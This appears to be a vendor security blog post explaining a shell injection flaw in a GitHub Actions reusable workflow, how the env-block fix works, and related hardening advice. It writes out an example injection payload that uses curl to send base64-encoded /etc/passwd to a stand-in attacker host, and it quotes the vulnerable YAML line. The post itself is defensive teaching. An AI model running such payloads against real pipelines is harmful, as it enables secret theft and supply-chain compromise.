How GitHub Actions Shell Injection Happens in YAML Workflows and How to Fix It
Introduction
The file src/negative_test/github-workflow/reusable-workflow-input-must-declare-type.yaml defines a reusable workflow with a build and publish job. At line 18, one of its steps used a seemingly innocent one-liner:
run: echo 'constraints=${{ inputs.constraints }}'
That single line is a textbook shell injection waiting to happen. The ${{ inputs.constraints }} expression is resolved by the GitHub Actions expression engine before the shell ever sees the command — meaning whatever string a caller passes as constraints lands verbatim in the shell command line. If that string contains shell metacharacters, the shell will happily execute them.
This post walks through exactly how the vulnerability works, what an attacker could do with it, and how the two-line fix in the PR completely eliminates the risk.
The Vulnerability Explained
How GitHub Actions Expression Interpolation Works
GitHub Actions processes ${{ ... }} expressions during workflow evaluation, performing a simple text substitution into the YAML. Only after that substitution does the runner hand the resulting string to the shell (bash, sh, etc.) for execution.
This ordering is the root cause of the problem. Consider the vulnerable step:
# VULNERABLE — line 18 (before fix)
- name: satisfy constraings
run: echo 'constraints=${{ inputs.constraints }}'
If a caller invokes this reusable workflow and passes:
constraints: foo'; curl -s https://attacker.example/exfil?data=$(cat /etc/passwd | base64) #
After expression substitution, the runner executes:
echo 'constraints=foo'; curl -s https://attacker.example/exfil?data=$(cat /etc/passwd | base64) #'
The single-quote in the payload closes the shell string literal opened by echo '..., the semicolon starts a new command, and the attacker's curl runs with full access to the runner environment — including all ${{ secrets.* }} values that have been exported into the process.
Why This Matters for Reusable Workflows
Reusable workflows are called from other workflows, potentially across repositories. The inputs object is entirely caller-controlled. Any repository (or, in a public repo, any fork or pull request) that can invoke this workflow can supply arbitrary values for constraints. This is not a theoretical concern — it is a well-documented attack vector against CI/CD pipelines.
What an Attacker Could Steal
With arbitrary command execution on the runner the attacker can:
- Exfiltrate secrets — environment variables like
${{ secrets.api_token }}(visible in the same job) can be read and sent to an external endpoint. - Tamper with build artifacts — the runner has write access to the checked-out repository; a malicious actor could modify source files before the
publishstep runs. - Pivot to downstream systems — the
api_tokensecret used byexample/example-publisher-actioncould be replayed to publish a backdoored package.
The Fix
The pull request makes a targeted, two-line change to the vulnerable step:
Before
- name: satisfy constraings
run: echo 'constraints=${{ inputs.constraints }}'
After
- name: satisfy constraings
env:
CONSTRAINTS: ${{ inputs.constraints }}
run: echo "constraints=$CONSTRAINTS"
Why This Works
When you assign the expression to an env: variable, GitHub Actions still performs the text substitution — but now the result is stored as an environment variable value, not embedded in a shell command string. The shell receives the run: script before it ever reads the environment variable:
Shell command: echo "constraints=$CONSTRAINTS"
Environment: CONSTRAINTS=<whatever the attacker passed>
The shell parses echo "constraints=$CONSTRAINTS" as a single echo command with one double-quoted argument. When it expands $CONSTRAINTS, it does so in a context where the value is treated purely as data — not as additional shell syntax. A value of foo'; malicious command is printed literally, not executed.
The double-quotes around "$CONSTRAINTS" in the run: script are important: they prevent word-splitting and glob expansion of the variable's value, which could otherwise introduce subtler injection paths.
Additional Hardening in the Same PR
The PR also pins two action references to their full commit SHAs:
# Before
- uses: actions/checkout@v2
uses: example/example-publisher-action@v1
# After
- uses: actions/checkout@ee0669bd1cc54295c223e0bb666b733df41de1c5
uses: example/example-publisher-action@ee0669bd1cc54295c223e0bb666b733df41de1c5
Pinning to a commit SHA rather than a mutable tag prevents a compromised or hijacked action tag from silently pulling in malicious code — a separate but complementary defense-in-depth measure.
Prevention & Best Practices
1. Never Interpolate Untrusted Context Data Directly into run:
The rule is simple: if the value comes from github.event.*, inputs.*, github.head_ref, or any other user-influenced source, it must not appear inside a run: block via ${{ ... }}.
Safe pattern:
env:
USER_INPUT: ${{ inputs.some_value }}
run: |
echo "Input was: $USER_INPUT"
process_input "$USER_INPUT"
Unsafe pattern:
run: echo "${{ inputs.some_value }}" # NEVER do this
2. Use toJSON() for Structured Data
If you must pass structured data, use toJSON() to ensure the value is a valid JSON string before assigning it to an env var:
env:
PR_TITLE: ${{ toJSON(github.event.pull_request.title) }}
3. Audit All run: Steps with Semgrep
The Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection will catch this pattern across your entire codebase. Add it to your CI pipeline:
semgrep --config "p/github-actions" .
4. Pin Actions to Commit SHAs
Use tools like Dependabot or Renovate to manage SHA-pinned action versions and keep them updated automatically.
5. Apply Least Privilege to Workflow Permissions
Use permissions: blocks to restrict what each job can do:
permissions:
contents: read
This limits the blast radius if injection does occur.
Security Standards
- OWASP CI/CD Security Top 10 — CICD-SEC-4: Poisoned Pipeline Execution
- CWE-78 — Improper Neutralization of Special Elements used in an OS Command
- SLSA — Supply-chain Levels for Software Artifacts recommends hermetic, verifiable builds
Key Takeaways
- The
inputs.constraintsvalue inreusable-workflow-input-must-declare-type.yamlwas fully attacker-controlled — any caller of the reusable workflow could supply arbitrary shell syntax. - Single-quoting the
run:command does not protect you —echo 'constraints=${{ inputs.constraints }}'is still vulnerable because the substitution happens before the shell parses quotes. - The
env:block is the correct firewall — assigning${{ inputs.constraints }}toCONSTRAINTSand referencing"$CONSTRAINTS"in the script ensures the value is always treated as data, never as code. - Reusable workflows multiply the attack surface — because they accept inputs from potentially many callers, every
run:step in a reusable workflow deserves extra scrutiny. - Pinning actions to commit SHAs is a complementary control — it closes a separate supply-chain attack vector that could otherwise bypass all input sanitization.
How Orbis AppSec Detected This
- Source: The
inputs.constraintsworkflow input — a value entirely controlled by the caller of the reusable workflow. - Sink: The
run: echo 'constraints=${{ inputs.constraints }}'shell command at line 18 ofreusable-workflow-input-must-declare-type.yaml, where the expression is interpolated directly into the shell command string. - Missing control: No intermediate environment variable was used; the raw expression value was embedded in the shell command, bypassing any shell quoting.
- CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: The value is now assigned to the
CONSTRAINTSenvironment variable via theenv:block and referenced as"$CONSTRAINTS"in therun:script, ensuring the shell treats it as data rather than executable syntax.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection in GitHub Actions is one of the most impactful CI/CD vulnerabilities because the runner has access to secrets, build artifacts, and deployment credentials. The pattern run: echo '${{ inputs.constraints }}' looks harmless but hands an attacker a direct path to arbitrary command execution. The fix — two lines of YAML that introduce an env: block — is minimal, non-breaking, and completely eliminates the injection path by ensuring the shell always sees the input as a data value rather than part of the command syntax. If you maintain GitHub Actions workflows, audit every run: step for direct ${{ ... }} interpolation of context data, and integrate a tool like Semgrep into your pipeline to catch these patterns automatically before they reach production.